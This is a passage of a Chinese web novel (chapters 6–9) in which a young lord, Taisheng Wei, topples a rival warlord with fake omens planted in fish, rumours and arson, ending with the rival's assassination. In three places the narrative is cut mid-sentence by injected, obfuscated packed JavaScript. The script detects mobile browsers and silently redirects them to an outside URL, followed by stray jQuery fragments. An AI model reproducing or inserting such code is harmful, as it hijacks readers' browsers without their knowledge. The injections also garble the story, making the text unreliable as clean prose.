“还有我这儿!”老黄举起一条鲢鱼,声音都变了调,“这鱼……这鱼肚子里也有字条!一模一样的!” 李氏站在一旁,手里的菜刀都忘了放下,喃喃道:“这……这得多少条鱼都有字条?谁干的?总不能真是龙王吧?” “放屁!”马三刀气得脸都红了,抓起一把布条塞进怀里,“都给我闭嘴!把鱼处理干净,字条全交上来,谁敢私藏,老子剥了他的皮!” 士兵们不敢再多说,低头埋头干活,但眼神里都带着几分惊惶。 剖鱼的动作越来越快,刀光闪动间,一个个鱼腹被剖开,布条如雪片般冒出,几乎每条鱼肚子里都有! “伍长,这不对劲啊……”老黄低声嘀咕,手里的鱼已经剖了七八条,每条都有布条,“这字条咋这么多?总不能是鱼自己吞下去的吧?” “你他娘的还敢说?!”马三刀瞪了他一眼,但自己心里也开始打鼓。 他抓起一条布条,对着火光细看,金漆在火光下泛着诡异的光。 “去找个识字的!”马三刀咬牙道,“老子就不信,这真是龙王干的!” 不多时,一个瘦削的书生被带到后厨。 这人名叫刘文生,原是县学里的秀才,因战乱家破人亡,投奔了周世铮的私兵,平日里帮着抄抄写写,勉强混口饭吃。 “刘秀才,你给看看,这字条是啥意思!”马三刀把一堆布条往他面前一扔,语气不善。 刘文生拿起一条布条,借着火光细看。 他眉头微皱,嘴唇动了动,低声道:“周逆天诛……这、这不就是说周司马违逆天意,要遭天谴?” “天谴?!”马三刀猛地一拍桌子,震得木盆里的鱼都跳了一下,“谁他娘的敢咒司马大人?!刘秀才,你给老子说清楚,这字条哪来的?” “我……我哪知道?”刘文生吓得一哆嗦,手里的布条差点掉地上,“伍长,这字条是从鱼肚子里掏出来的,我只是个抄书的,哪懂这些?” “那你说,这‘周逆天诛’是啥意思?”马三刀逼近一步,刀疤脸在火光下显得狰狞可怖。 刘文生咽了口唾沫,硬着头皮道:“字面意思……就是说周司马得罪了上天,上天要惩罚他。昨晚粮仓被冲垮的事,就是惹了天怒?” “放屁!”马三刀一把揪住刘文生的衣领,差点把他提起来,“粮仓被冲垮是天灾,关天谴什么事?!你是不是跟太生家那小子串通好了,故意来吓唬老子?” “没有!绝对没有!”刘文生吓得连连摆手,声音都带了哭腔,“伍长,我就是个穷酸秀才,哪敢跟太生公子扯上关系?这些字条……我看像是有人故意放进鱼肚子里的!” “故意放的?”马三刀松开手,眯起眼睛,“你是说,有人搞鬼?” “对、对!”刘文生忙不迭点头,“这布条这么整齐,字迹还用金漆写的,哪是鱼自己能吞下去的?肯定是有人事先塞进去的!兴许是……兴许是太生家的人,想借龙王的名头吓唬咱们!” “太生家……”马三刀咬牙切齿,攥着布条的手青筋暴起,“好个太生微,装神弄鬼不说,还敢往鱼肚子里塞字条!老子这就去禀报司马大人!” “伍长,等等!”刘文生突然拉住他,压低声音道,“这事……可不能随便禀报啊!” “为啥?”马三刀皱眉。 刘文生四下看了看,确定没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723253|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人偷听,才低声道:“伍长,您想想,这字条是从鱼肚子里掏出来的,兄弟们都看见了。现在营地里本来就人心惶惶,昨晚粮仓的事已经让不少人嘀咕,说是天罚。如今再加上这‘周逆天诛’,您要是直接禀报上去,兄弟们还不得炸了锅?” 马三刀愣了一下,脸色更难看了。 他虽是粗人,但也知道刘文生说得有理。昨晚粮仓被冲垮,士兵们已经怨声载道,今晚又出了这档子事,若传到周世铮耳朵里,只怕会直接拿他开刀。 “那你说咋办?”马三刀低吼道,“这些字条总不能就这么放着吧?” 刘文生推了推眼镜,犹豫了一下,低声道:“要不……先把字条烧了?就当没这回事?” “烧了?”马三刀瞪大眼睛,“这么多字条,烧了谁信?兄弟们又不瞎!” “那……那就先收着,悄悄查查是谁干的。”刘文生擦了把额头的汗,“伍长,您也知道,营地里好多兄弟都是流民出身,最信鬼神之说。这事要是传出去,怕是军心都要散了!” 马三刀沉默片刻,狠狠啐了一口:“他娘的,太生家那小子真会玩!行,字条先收着,谁敢乱说,老子剁了他的舌头!” 然而,纸包不住火。 当晚,后厨的事还是传了出去。 起初只是几个士兵在私下嘀咕,说鱼肚子里掏出了写着“周逆天诛”的布条。 到了半夜,流言像野火般蔓延,营地里几乎人尽皆知。 “听说了吗?昨晚的鱼,条条肚子里都有字条!写的还是‘周逆天诛’!” “真的假的?谁敢这么大胆,咒司马大人?” “还能有谁?肯定是太生家那小子!人家可是龙王转世,昨儿祈雨还招来龙影呢!” “嘘!小声点!让伍长听见,你我都没好果子吃!” 士兵们三三两两聚在一起,借着篝火的掩护,低声议论。 有人害怕,有人好奇,有人甚至开始偷偷朝河阳府的方向磕头,嘴里念叨着“龙王爷恕罪”。 到了子时,渡口集市上,几个游方术士模样的汉子开始散布流言。 他们穿着破旧的道袍,手里摇着铃铛,嘴里念念有词:“周氏逆天,触怒龙王!粮仓被毁,天谕藏鱼!若不悔改,恐有大祸!” 这些术士正是太生微派来的韩七手下,个个口齿伶俐,挑拨得恰到好处。 他们混在集市人群中。 很快,流言如瘟疫般扩散,连集市上的商贩和流民都开始议论纷纷。 “鱼藏天谕?那字条真是龙王写的?” “废话!太生公子可是龙王转世,前个儿我亲戚在南郊亲眼看见,他一抬手,天上就下暴雨!” “周司马怕是真惹了天怒……你没听说?昨晚他家的粮仓被冲垮,粮食全泡了!” 营地里,士兵们的议论越来越大胆。 有人开始回忆昨晚粮仓被冲垮时的情景,说是雷声震天,像是老天在发怒。 还有人信誓旦旦地说,昨晚梦见一条银龙盘旋在营地上空,龙目如电,直瞪着周世铮的帅帐。 “老张,你说咱们会不会真遭天谴?”王二狗缩在角落里,低声问张麻子。 “呸!少听那些鬼话!”张麻子嘴上硬气,心里却直打鼓。 他昨晚亲手剖了五条鱼,每条肚子里都有字条,那金漆字迹在火光下闪闪发亮,像是直接刻在他心上。 “可这字条……总不能是假的吧?”瘦猴凑过来,声音压得极低,“我听说,太生公子昨儿在青岚河边一伸手,鱼群就自己游到他手边!这要是没点神通,谁信?” “神通个屁!”张麻子低骂一声,但语气已经没了底气。 他偷偷摸了摸怀里藏着的一条布条,手指都在发抖。 与此同时,帅帐内,周世铮正坐在案前,脸色阴沉得能滴出水来。 案上摆着一堆从鱼肚子里掏出的布条,烛光下,金漆字迹刺眼得像刀子。 “司马大人,这事……”子陵站在一旁,折扇轻敲掌心,语气却透着几分幸灾乐祸,“怕是太生家故意为之。借龙王之名,散布天谕,动摇军心,好一手攻心之计!” “攻心?”周世铮冷笑一声,抓起一条布条揉成一团,“太生微那小子,倒是好算计!可他以为,凭几条破布就能让本官低头?” 子陵挑眉:“大人,话虽如此,但军心已乱。今晚集市上那些游方术士,怕也是太生家的人安排的。咱们的士兵多是流民出身,最信鬼神,若不尽快压下这流言……” “压?”周世铮猛地拍案而起,震得烛台一晃,“本官倒要看看,谁敢在本官眼皮底下造反!传令下去,抓几个乱嚼舌根的,砍了脑袋挂在营门口!” “大人!”子陵连忙劝道,“此时杀人,只怕更会激起兵变。不如先稳住军心,查清字条来源,再做打算。” 周世铮眯起眼睛,沉默片刻,终于冷哼一声:“好,就依你。明日一早,召集所有伍长,严查营内流言来源!还有,把刘文生那酸儒叫来,本官要亲自问问,这字条到底是怎么回事!” 子陵拱手退下,心中却暗自冷笑。 太生微这一手,玩得太妙。鱼腹藏书,借天谕之名,短短一夜,军心已然动摇。 即便周世铮现在杀几个人立威,也不过是饮鸩止渴。 看来他也要另谋出路了。 而此时,河阳府内,太生微正立于书房窗前,手里把玩着一颗夜明珠。 珠光映照着他苍白的脸庞,眸子里闪过一丝笑意。 “公子。”韩七悄无声息地出现在门口,低声道,“周家军营已经乱了。我们的术士在集市上散布流言,效果比预想还好。今晚已有不少士兵偷偷往龙王庙跑,求龙王爷恕罪。” “很好。”太生微淡淡道,“明日辰时,开龙王仓,放赐福粮。记住,粥里多放些鱼肉。” “鱼肉?”韩七一愣,随即会意,“公子是想……” “周家士兵既然信了天谕,就让他们再信一次‘龙王恩赐’。”太生微唇角微扬,“人心如水,可导可堵。堵不如导。” 韩七躬身领命,眼中满是敬佩。 太生微转过身,目光落在案上的舆图。 河内郡的轮廓在烛光下清晰可见,他的指尖轻轻点在渡口的位置。 7. 第 7 章 书房门再次被推开,韩七躬身而入,身后跟着陈明和孙虎。 三人脸上神色各异。 “公子。”韩七率先开口,声音压得极低,“周家军营的流言已经传遍渡口,连集市上的商贩都在议论‘周逆天诛’。刚又有十几个士兵偷偷跑去龙王庙磕头,求龙王爷饶命。” 太生微唇角微勾,指尖轻敲椅背:“比我预想的还快。韩七,派去集市的那些术士,撤回来了吗?” “撤了。”韩七点头,“子时散完流言,他们就换了装,混在流民中回了城。现在周家军营里人人自危,连伍长们都不敢多问。” “很好。”太生微淡淡道,目光转向陈明,“陈主簿,龙王仓的准备如何?” 陈明拱手,语气谨慎:“回公子,粮仓已备妥,明日辰时可开仓放粮。粥里按您的吩咐,掺了鱼肉,足够流民每人一碗。只是……”他顿了顿,欲言又止。 “只是什么?”太生微挑眉。 陈明咽了口唾沫,低声道:“公子,府库余粮本就不多。况且,周家那边虽乱,但渡口的私兵还有近两千,若他们狗急跳墙……” “跳墙?”太生微嗤笑一声,起身走到舆图前,指尖点在渡口的位置,“周世铮的粮仓已毁,军心动摇,两千人看似不少,却如一盘散沙。陈主簿,你是怕他还有翻盘之力?” 陈明连忙低头:“属下不敢。只是……周世铮盘踞渡口多年,手下多有死忠,若他孤注一掷,攻打城池……” “攻城?”孙虎冷笑,插嘴道,“陈主簿多虑了!昨夜我带人摸了周家的粮仓,守兵跑了一半,剩下的连刀都握不稳,还攻城?他们现在怕是连饭都吃不上!” “孙虎说得不错。”太生微点头,目光却冷了几分,“周世铮最大的依仗是粮草和军心,如今粮草已毁,军心动摇。他若聪明,就该夹着尾巴求和;若不聪明……” 他顿了顿,眼中闪过一丝寒光,“那便让他见识一下,什么是真正的‘天罚’。” 三人闻言,皆是一凛。 韩七最先回神,低声道:“公子,属下已安排人在渡口附近继续散布流言,说周世铮私截赈灾粮,触怒龙王,接下来怕还有更大的灾祸。” “做得好。”太生微颔首,重新坐下,“不过,流言只是开胃菜。孙虎,明晚你带五十精锐,扮作流民,混进周家军营,放火烧他们的马厩。记住,只烧马厩,不伤人。” “烧马厩?”孙虎一愣,随即咧嘴一笑,“公子高明!马厩一烧,那些战马受惊乱跑,周家的骑兵就废了!到时候他们连跑都跑不了!” “正是。”太生微淡淡道,“周世铮若想翻盘,靠的就是那数百骑兵。马没了,他还拿什么跟我斗?” 陈明听罢,眼中闪过一丝敬佩,但仍忍不住道:“公子,烧马厩虽能重创周家,但若朝廷追究……” “朝廷?”太生微冷笑,目光扫过舆图,“朝廷自顾不暇,北方战事吃紧,南方水患未平,哪有心思管河阳府的小打小闹?只要我们不明着举旗造反,谁能拿我太生家如何?” 三人不再多言,齐齐躬身:“公子英明!” “下去吧。”太生微摆手,“韩七,盯着渡口的消息;孙虎,准备明晚的行动;陈明,龙王仓的事不可有半点差池。” “是!” 三人应声退下,书房重归寂静。 翌日清晨,南阳府邸前车马喧嚣。 太生微刚用完早膳,便听下人来报,说城外几位豪强派了使者求见,送来贺礼,为祈雨大典道喜。 太生微闻言,不置可否,命人将使者请入正厅。 正厅内,香炉青烟袅袅,几位使者分坐两侧,个个衣着华贵,神态却带着几分拘谨。 领头的是一位中年文士,姓卢,名泽,乃河内郡东乡卢氏的代表。 卢氏虽非顶级豪门,但在河内郡也算有些根基,家中良田千亩,私兵数百,平日里持中立态度,左右逢源。 “太生公子。”卢泽起身,拱手道,“在下奉家主之命,特来恭贺公子祈雨成功,解河阳之危。此乃小小心意,望公子笑纳。” 他一挥手,身后的仆从捧上一只紫木匣,打开后露出十颗拇指大的东珠,颗颗圆润,泛着柔光。 太生微端坐主位,目光扫过木匣,淡淡道:“卢氏有心了。祈雨不过举手之劳,解民倒悬乃我太生家本分。诸位远道而来,可有他事?” 卢泽微微一笑,试探道:“公子神通广大,河阳百姓无不感恩戴德。在下听闻,公子有意整顿河内郡,卢氏虽不才,愿助公子一臂之力,共谋大计。” “共谋大计?”太生微挑眉,语气中带了一丝戏谑,“卢先生言重了。河阳府不过一隅之地,太生家只求安民,何来大计?” 卢泽碰了个软钉子,脸上笑容不变,继续道:“公子谦虚了。如今乱世将至,诸侯并起,河内郡地处要冲,公子若能执掌此地,北可控冀州,南可窥洛阳,实乃天赐良机。卢氏愿追随公子,共创盛业!” 太生微闻言,目光微冷,指尖轻敲扶手:“卢先生好口才。只是,太生家世受皇恩,忠于朝廷,怎会生出他志?至于河内郡……有郡守大人坐镇,轮不到我太生家来执掌。” 卢泽一愣,没想到太生微如此滴水不漏。 他还想再试探,却听另一位使者开口。 这人是个矮胖的商贾,姓王,来自河内郡南边的商盟,专做粮草生意。 “太生公子!”王商贾堆起满脸笑,起身道,“在下王富,代表南商盟恭贺公子!此次祈雨,公子显圣,百姓无不称颂。商盟特备薄礼,聊表敬意!” 他拍拍手,仆从抬上一只箱子,打开后满是金锭,晃得人眼花。 太生微瞥了眼金锭,语气平淡:“王掌柜客气了。商盟生意遍布兖州、豫州,想必不缺金银。今日送礼,可是有何指教?” 王富搓了搓手,嘿嘿笑道:“指教不敢当!只是如今河阳府风头正盛,商盟有意与公子合作,愿为公子提供粮草辎重,助公子……嗯,安定一方!” “安定一方?”太生微嗤笑,目光如刀,“王掌柜,去年大旱,商盟囤粮居奇,粮价翻了数倍,多少流民因此饿死街头。如今倒想起‘安定一方’了?” 王富笑容一僵,额头渗出冷汗,忙道:“公子误会了!去年商盟也是迫不得已,粮草紧缺,我们……” “罢了。”太生微摆手,懒得听他狡辩,“礼物留下,诸位请回吧。太生家的事,自有主张。” 使者们面面相觑,知趣地起身告辞。 卢泽临走前,意味深长地看了太生微一眼:“公子若有需要,卢氏随时恭候。” 待使者们离开,韩七从侧门走进:“公子,这些人分明是来试探咱们的底细。卢氏和商盟向来墙头草,风吹两边倒。” “墙头草也有用。”太生微冷笑,“让他们试探,试得越深,越不敢轻举妄动。韩七,派人盯着卢氏和商盟,若有异动,立刻回报。” “是!”韩七领命退下。 未及午时,府门外又是一阵喧哗。 这次来的不是豪强使者,而是府尹的旧部和几位地方乡绅。 他们抬着几担酒肉,带着一队仆从,声势浩大,口口声声要为太生微“劳军”。 领头的是一位老者,姓赵,名德昌,原是府尹的幕僚,如今赋闲在家。 他满脸堆笑,拱手道:“太生公子!老夫赵德昌,代表河阳乡绅,特来拜谢公子祈雨之恩!公子有尧舜之德,救民于水火,老夫等感激涕零,特备酒肉,为公子麾下壮士劳军!” 太生微端坐堂上,目光扫过那几担酒肉,嘴角扯出一抹冷笑:“尧舜之德?赵老先生过奖了。去年大旱,流民饿死无数,诸位乡绅可曾开仓放粮?” 他对赵德昌印象实在算不得好。 这家伙作为他父的幕僚,已不是墙头草可言,背弃旧主的事是做的手到擒来。 赵德昌笑容一僵,忙道:“公子有所不知,去年旱情严重,我等也是心有余而力不足……” “心有余而力不足?”太生微打断他,语气嘲讽,“赵老先生府上良田百顷,粮仓堆得比城墙还高,却连一粒米都没舍得拿出来。如今倒想起劳军了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723254|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵德昌老脸涨红,支吾道:“这……老夫惭愧。只是如今公子神威震慑四方,老夫等愿追随左右,为河阳出一份力!” “追随?”太生微冷哼,“诸位的好意,我心领了。酒肉留下,人请回吧。” 乡绅们面面相觑,只得讪讪退下。 赵德昌临走前:“公子若有差遣,老夫定当效犬马之劳。” 待人散尽,太生微揉了揉眉心,眼中闪过一丝不屑:“这群家伙……旱灾时龟缩不出,现在见风向变了,就急着来抱大腿。” 韩七站在一旁:“公子,这些人虽势利,却也有用。乡绅们在地方上根深蒂固,若能收为己用……” “收用?”太生微摇头,“这种人只认利,不认忠。留着他们,不过是多几双眼睛盯着罢了。” 待人全部退下,太生微独自立于书房,目光落在舆图上,思绪却飘向了“幻裳系统”。 他唤出光幕。 【叮——】 【当前声名值:12543(信徒虔诚度:89%)】 【商城功能已解锁,是否查看?】 太生微目光扫过光幕上的套装列表,N级、R级、SR级一应俱全,SSR级仍是一片问号。 他皱了皱眉,暂时想不到该兑换哪套套装。 N级效果平庸,R级虽有奇效,但对当前局势帮助有限,SR级如“龙女·云霓雨魄”已足够震撼,若再用类似神迹,恐引来朝廷警惕。 “罢了。”他关闭光幕,目光转向书房角落的银丝架。 架上嵌着十二颗夜明珠,幽蓝光泽交织,将书房映得如深海龙宫。 “夜明珠……”太生微低喃,拈起一颗珠子,对着烛光细看。 这些年,他抽奖抽了不下四百颗夜明珠,堆在府中毫无用处。 主要是这么大额的珠宝难以解释来处。 如今倒是个机会,以“龙王赐宝”的名义出售,既能换取粮草,又能进一步坐实“神迹”。 “韩七。”他扬声道。 韩七推门而入:“公子有何吩咐?” “挑十颗品相最好的夜明珠,送到南商盟的王富那儿。”太生微淡淡道,“就说这是龙王赐下的宝物。” “卖夜明珠?”韩七一愣,随即会意,“公子高明!南商盟见利忘义,定会抢着买。属下这就去办!” 太生微摆手,目光重新落在舆图上,停在渡口的位置。 “周世铮……”太生微低声呢喃,指尖在舆图上轻轻一划,“还是个麻烦。” 如今朝廷正统尚在,虽腐朽不堪,却仍有威慑力。 太生家若明着举旗,恐引来诸侯围剿。 况且,周世铮盘踞渡口多年,手下死忠不少,若不除掉,始终是个隐患。 “安罪名……”太生微眯起眼睛,脑海中闪过几个念头。 贪墨赈灾粮?私蓄兵马?还是勾结外敌? 这些罪名虽能置周世铮于死地,但证据不足,难以服众。 “或许……”他唇角微扬,“可以再次用‘天谕’。” 鱼腹藏书的把戏已经动摇了周家军心,若再加一把火,比如伪造几封周世铮与外敌勾结的书信,藏在鱼腹中“漂”到下游…… 正思索间,窗外突然传来一阵嘈杂。 喊声、脚步声混杂在一起,不知哪儿起了骚乱。 太生微皱眉,推开窗子,沉声道:“何事喧哗?” 韩七匆匆跑进,脸上带着掩不住的兴奋:“公子!周家军营大乱!今早有几十个士兵当众哗变,喊着‘周逆天诛’,还砸了帅帐前的旗杆!周世铮震怒,斩了几个领头的,可流言越压越多,现在连渡口的商贩都不敢靠近周家了!” “这么快?”太生微眉梢一挑,眼中闪过一丝意外,“比我预想的快。” 他起身,走到窗前,目光投向渡口的方向。 夜色中,隐约可见几点火光摇曳。 “韩七。”他淡淡道,“今晚烧马厩的计划不变。让孙虎小心些,别撞上哗变的士兵。” “是!”韩七领命,转身离去。 8. 第 8 章 南阳府邸,夜深人静。 太生微推开书房窗子,准备回内室歇息。 烛光在案上摇曳,舆图上河内郡轮廓在昏黄光晕中若隐若现。 他揉了揉眉心,今日接连应对豪强、乡绅,又盘算着周世铮的罪名,心神略感疲惫。 刚要转身,远处天边突然亮起一片赤红,像是火光冲天,映得半个夜空都染上了血色。 太生微猛地停下脚步,目光锁定渡口方向。 火光跳跃,隐约夹杂着喊杀声和马匹的嘶鸣,像是整个营地都陷入了混乱。 “不对……”他低喃,眉头紧锁,“孙虎还没动手吧?” 他推算过,孙虎的精锐今晚子时才会潜入周家军营,点燃马厩。 可现在不过戌时末,火光已起,喊声震天,明显是大事不妙。 难道周家军营提前乱了? 太生微心念电转,披上外袍,快步走出书房,扬声道:“韩七!备马!” 韩七闻声赶来,脸上带着几分惊疑:“公子,渡口那边……火光冲天,怕是周家军营出事了!” “出事?”太生微眯起眼睛,“比我预想的快。去,召陈明和孙虎,立刻随我去渡口探查!” “是!”韩七领命,飞奔而去。 太生微站在院中,目光穿过夜色,盯着远处愈发明亮的火光。 心中隐隐升起一丝不安。 这乱子来得太快,背后是否还有其他推手? 渡口城堡,青岚河畔,周世铮的私兵营地已是一片炼狱。 火光从营地东侧腾起,起初只是马厩方向冒出几点火星,很快便如野火燎原,吞噬了整个马厩。 战马受惊,嘶鸣着四散奔逃,撞倒了栅栏,踩踏了帐篷,营地内一片狼藉。 士兵们有的提着刀四处乱窜,有的抱着头惊慌失措,还有的干脆扔下武器,朝营地外逃去。 “救火!快救火!”一名伍长模样的汉子嘶声喊道,脸上被烟熏得漆黑,手里提着一桶水,却被乱窜的战马撞翻在地,水桶骨碌碌滚进火堆,瞬间蒸发成白雾。 “救个屁的火!”另一个士兵,满脸横肉,狠狠啐了一口,“粮仓没了,马厩烧了,这是天罚!天罚啊!老子不干了!” 他一把扯下腰间的号牌,扔进火里,转身就跑。 “王二狗!你敢当逃兵?!”伍长爬起来,拔刀追了几步,却被涌来的人群挤得踉跄。 他环顾四周,只见营地内已乱成一团,士兵们不再听从号令,有的忙着抢救粮草,有的趁乱哄抢财物,还有的跪在地上,朝河阳府方向磕头,嘴里念叨着“龙王爷饶命”。 这一切的导火索,始于马三刀的死。 一个时辰前,马三刀还在后厨呵斥士兵,试图压下“周逆天诛”布条的风波。 他将所有布条收缴,严令不许外传,可流言如风,早已传遍了营地。 士兵们私下议论,恐惧发酵,有人甚至说,昨晚梦见龙王化作人形,手持金色长矛,直指周世铮的帅帐。 “伍长,这字条……真是龙王显灵?” “显灵个屁!”马三刀怒不可遏,“谁再提龙王,老子剁了他的舌头!” 他话音刚落,却见瘦猴身后,七八个士兵围了上来,个个眼神不善。 “伍长,你说没龙王,那鱼腹里的字条咋来的?”一个士兵冷冷开口,声音里带着几分质问,“昨晚粮仓被冲垮,今晚马厩又起火,这不是天罚是什么?” “就是!”另一个士兵附和,手中紧握着一根木棍,“咱们跟着司马大人,顿顿喝稀粥,连条鱼都吃不上!太生公子那边开仓放粮,还分鱼肉,凭啥咱们在这儿受罪?” 马三刀脸色铁青,拔出佩刀,喝道:“反了你们了?!谁敢再说一句,老子——” 话未说完,一根木棍狠狠砸在他后脑勺上。 马三刀闷哼一声,踉跄倒地,鲜血从脑后汩汩流出。 瘦猴瞪大眼睛,惊恐地看向动手的那人。 铁牛平日里最是老实,此刻却满眼血丝,像是被逼到了绝路。 “铁牛,你疯了?!”瘦猴尖叫。 “疯?老子早他娘的受够了!”铁牛红着眼睛,吼道,“马三刀护着周世铮,逼咱们给他卖命!粮仓没了,马厩烧了,这是龙王在警告咱们!再不跑,都得死在这儿!” “对!跑吧!”另一个士兵附和,声音颤抖,“我听说太生公子在龙王庙施粥,咱们投过去,说不定还能混口饱饭!” 人群越聚越多,士兵们的情绪如干柴遇烈焰,瞬间炸开。 有人抄起刀,有人点燃火把冲向马厩,将火把扔进干草堆。 火势迅速蔓延,战马嘶鸣着冲出,撞倒了栅栏,营地彻底陷入混乱。 马三刀倒在血泊中,早已没了气息。 几个忠于他的士兵试图阻止,却被愤怒的人群淹没。 铁牛一脚踩在马三刀的尸体上,举起手中布条,嘶吼道:“兄弟们!周世铮逆天行事,龙王已降天谕!咱们投太生公子去!” “投太生公子!”人群齐声应和。 帅帐内,周世铮端坐案前,脸色阴沉得能滴出水来。 子陵站在一旁,折扇紧握,额头渗出细汗。 “大人,火势已控制不住,马厩全毁,战马跑了一半,士兵也……”子陵声音发紧,“哗变的已有数百人,领头的叫铁牛,杀了马三刀,正在煽动其他人投奔太生家。” “铁牛?”周世铮猛地拍案,震得烛台一晃,“一个泥腿子也敢反我?!传令,召集所有伍长,给我杀!一个不留!” “大人!”子陵急忙劝道,“现在杀戮,只怕更会激起兵变!士兵们已被‘天谕’吓破了胆,昨晚粮仓被毁,今晚马厩又烧,他们都信了龙王降罚的鬼话!” “鬼话?”周世铮冷笑,眼中却闪过一丝慌乱,“太生微那小子,倒是好手段!鱼腹藏书,火烧马厩,步步攻心!本官倒要看看,他还能玩出什么花样!” 话音刚落,帐外传来一阵急促的脚步声。 一个满脸血污的士兵跌跌撞撞冲进来,扑通跪下:“大人!不好了!铁牛带着人砸了辎重营,抢了仅剩的粮草,正往龙王庙跑!” “什么?!”周世铮霍然起身,脸色铁青,“辎重营的守兵呢?!” “跑……跑了一半!”士兵声音发颤,“剩下的被铁牛砍了七八个,现在没人敢拦!” 周世铮气得手都在抖,猛地拔出佩剑,剑锋直指士兵:“废物!一群废物!本官养你们有何用?!” “大人息怒!”子陵连忙上前,按下周世铮的剑,“当务之急,是保住渡口!咱们还有一千多兵,只要稳住军心,未必不能翻盘!” “翻盘?”周世铮咬牙切齿,目光扫过帐外的火光,“马没了,粮没了,军心也散了,还拿什么翻盘?!” 子陵沉默片刻,低声道:“大人,不如……暂避锋芒?” “避?”周世铮瞪着他,眼中满是怒火,“你是让本官逃?!” “不是逃,是退!”子陵压低声音,“大人,留得青山在,不怕没柴烧。太生微现在风头正盛,咱们硬碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723255|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬,只会全军覆没。不如退到下游的清河寨,那里还有咱们的暗桩,粮草也够支撑半月。” 周世铮胸膛剧烈起伏,半晌才狠狠吐出一口气:“好!退!传令,收拾细软,随本官连夜撤往清河寨!” 子陵松了口气,忙出去安排。 不多时,帅帐周围聚起百余名死忠的亲卫,抬着几箱金银细软,护着周世铮朝营地后门撤去。 夜色掩护下,他们避开了哗变的主力,沿着青岚河下游仓皇逃窜。 与此同时,渡口外的高坡上,谢昭一行人冷眼看着周氏军营的混乱。 “谢昭,这周世铮……怕是撑不住了。”蓝衣少年语气中带着几分兴奋,“太生微这手玩得绝!鱼腹藏书,火烧马厩,硬生生把周家逼到了绝路!” “绝路?”谢昭眼中闪过一丝精光,“不过我倒是想好要给太生微送什么大礼了。” “礼?”另一名谢氏子弟皱眉,“你是说……” “周世铮的人头。”谢昭淡淡道,手指轻抚剑柄,“咱们此行北上,需借河阳府的道。太生微既有意吞并河内郡,咱们何不顺水推舟,送他一份见面礼?” “见面礼?”蓝衣少年挑眉,“你是想拿周世铮的人头去讨好太生微?” “讨好?”谢昭嗤笑,“不过是各取所需。太生微要河内郡,周世铮是绊脚石;咱们要借道北上,周世铮也是麻烦。既如此,何不借太生微的手,除掉这个麻烦?” “可这周世铮……”另一名子弟迟疑道,“毕竟是朝廷命官,杀了他,朝廷那边……” “朝廷?”谢昭冷哼,“朝廷连赈灾粮都发不下来,还管得了河阳府的死活?再说,周世铮私蓄兵马,囤积粮草,早就有了反心。给他安个‘谋逆’的罪名,谁能说半个不字?” 几人闻言,眼中闪过一丝了然。 蓝衣少年低声道:“那咱们现在……” “等着。”谢昭目光锁定营地后门,“周世铮若想跑,必定走后门。咱们就在这儿守着,给他来个一箭穿心。” 夜色深沉,青岚河下游,芦苇丛中。 周世铮一身便装,骑着一匹抢来的战马,带着百余亲卫仓皇逃窜。 “大人,快到清河寨了!”一名亲卫低声道,“再有半个时辰,就能——” 话音未落,一支冷箭破空而来,带着尖锐的啸声,直刺周世铮后心! “噗!” 箭矢入肉,周世铮闷哼一声,从马上栽下,重重摔在泥地上。 亲卫们大惊失色,纷纷拔刀,四下搜寻箭矢来源。 “谁?!谁敢偷袭?!”子陵怒吼,短刀挥舞,护在周世铮身旁。 周世铮捂着胸口,鲜血从指缝涌出,染红了地面。 他挣扎着抬头,眼中满是惊怒:“太生……微……” 话未说完,又是一箭射来,正中咽喉! 周世铮双眼猛地瞪大,喉咙里发出咯咯的声响,身体抽搐了几下,彻底没了气息。 “大人!”亲卫们惊呼,乱作一团。 芦苇丛中,谢昭缓缓放下长弓。 蓝衣少年站在他身旁:“好箭法!一箭穿心,周世铮这回彻底完了。” “走。”谢昭收起弓,转身朝河阳府方向走去,“你们把周世铮的人头送去南阳府邸,告诉太生微,谢氏送他一份大礼。” “可这罪名……”蓝衣少年迟疑。 “谋逆。”谢昭头也不回,“周世铮私蓄兵马,意图割据河内,证据就在他营地的粮仓和马厩里。太生微若聪明,定会顺势接下这份礼。” 9. 第 9 章 黎明时分,南阳府邸。 太生微立于书房窗前,指尖轻叩窗棂,目光穿过渐亮的天色,望向渡口方向。 那里火光已熄,只余几缕青烟袅袅升起,融入灰蒙蒙的晨雾中。 “公子。”韩七悄无声息地出现在门口,声音压得极低,“孙虎回来了。” 太生微没有回头,只是微微颔首:“让他进来。” 孙虎大步踏入,甲胄上还沾着夜露,脸上却带着掩不住的兴奋:“公子!周家军营彻底乱了套!马厩全毁,粮草被抢,士兵哗变,周世铮连夜出逃——” 